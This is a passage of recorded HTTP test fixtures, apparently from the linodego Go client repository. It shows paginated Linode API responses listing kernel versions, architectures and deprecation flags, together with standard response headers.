"2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml000066400000000000000000002255351474652371000335710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": 